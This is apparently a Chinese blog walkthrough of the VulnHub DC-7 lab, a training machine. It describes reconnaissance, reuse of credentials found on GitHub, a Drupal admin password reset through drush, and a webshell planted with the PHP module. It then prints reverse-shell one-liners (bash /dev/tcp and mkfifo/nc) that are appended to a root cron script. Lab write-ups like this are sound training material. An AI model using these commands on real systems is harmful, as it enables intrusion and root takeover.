vulnhub渗透实战-DC7

先nmap一下,发现开放了22端口的ssh服务和80端口的http服务:

vulnhub渗透实战-DC7

 

whatweb确定一下是用drupal搭建的:

vulnhub渗透实战-DC7

dirb不到什么有价值的信息,直接浏览器访问80端口试试:

vulnhub渗透实战-DC7

 

 这儿应该是提示,说暴力破解没用,要think "outside" the box。

根据左下角一个很像用户名的提示,在搜索引擎上搜索信息,然后在github上找到相关信息:

vulnhub渗透实战-DC7

 

 看来就是这儿了。其中的config.php如下:

<?php
    $servername = "localhost";
    $username = "dc7user";
    $password = "MdR3xOgB7#dW";
    $dbname = "Staff";
    $conn = mysqli_connect($servername, $username, $password, $dbname);
?>

通过用户名和密码登陆之前的ssh服务,登陆成功:

vulnhub渗透实战-DC7

 

 进去以后发现有一个mbox和一个backups文件夹,先看看mbox:

vulnhub渗透实战-DC7

 

 mbox里面记录的应该是一个定时的计划任务,可以看到时间间隔大约为15min,计划任务为/opt/scripts/backups.sh:

vulnhub渗透实战-DC7

 

 看一下这个计划任务的脚本是干啥的:

vulnhub渗透实战-DC7

 

 可以看到先进入/var/www/html目录,然后使用drush修改了数据库的一些信息。经查询,drush命令主要用于管理drupal的数据库相关信息。

那么我们先切换目录,然后通过drush命令修改admin用户的密码为123:

vulnhub渗透实战-DC7

 

 然后通过login页面登陆成功:

vulnhub渗透实战-DC7

 

 登陆进去以后在content模块下发现可以写入basic page:

vulnhub渗透实战-DC7

 

 结合之前whatweb到的解释器语言为php,想到写入php代码,但是发现目前只能写入静态html,不支持php代码,因为Drupal 8后为了安全,需要将php单独作为一个模块导入。那么就导入php模块吧。

根据网上的安装教程一步一步来 :

vulnhub渗透实战-DC7

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

 vulnhub渗透实战-DC7

 

 vulnhub渗透实战-DC7

 

 vulnhub渗透实战-DC7

 

 vulnhub渗透实战-DC7

 

 

 php模块安装成功。下面就通过在basic page写入一句话木马即可:

vulnhub渗透实战-DC7

 

 然后kali本地打开监听端口9999,通过url传参注入反弹shell的命令:

vulnhub渗透实战-DC7

 

 反弹shell成功:

vulnhub渗透实战-DC7

 

 还记得之前的/opt/scripts/backups.sh么
vulnhub渗透实战-DC7

 

 这个脚本目前是root用户,www-data组的,所以我们对他有rwx权限。那么对该脚本进行修改:

vulnhub渗透实战-DC7

 

也可以这么修改:

 echo "bash -i >& /dev/tcp/192.168.190.150/1234 0>&1" >> /opt/scripts/backups.sh

 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.190.150 1234 >/tmp/f" >> backups.sh

mkfifo命令创建一个FIFO特殊文件,是一个命名管道(可以用来做进程之间通信的桥梁)

然后等待计划任务自己执行(因为如果以www-data的身份去执行,反弹回来的还是www-data的shell):

反弹shell成功:
vulnhub渗透实战-DC7

 

 结束。

 

参考:

https://blog.csdn.net/weixin_43583637/article/details/102809227

https://blog.csdn.net/weixin_46128614/article/details/104037722

 

上一篇:共享内存能否存放带有指针的结构体?


下一篇:用消息队列实现进程间通讯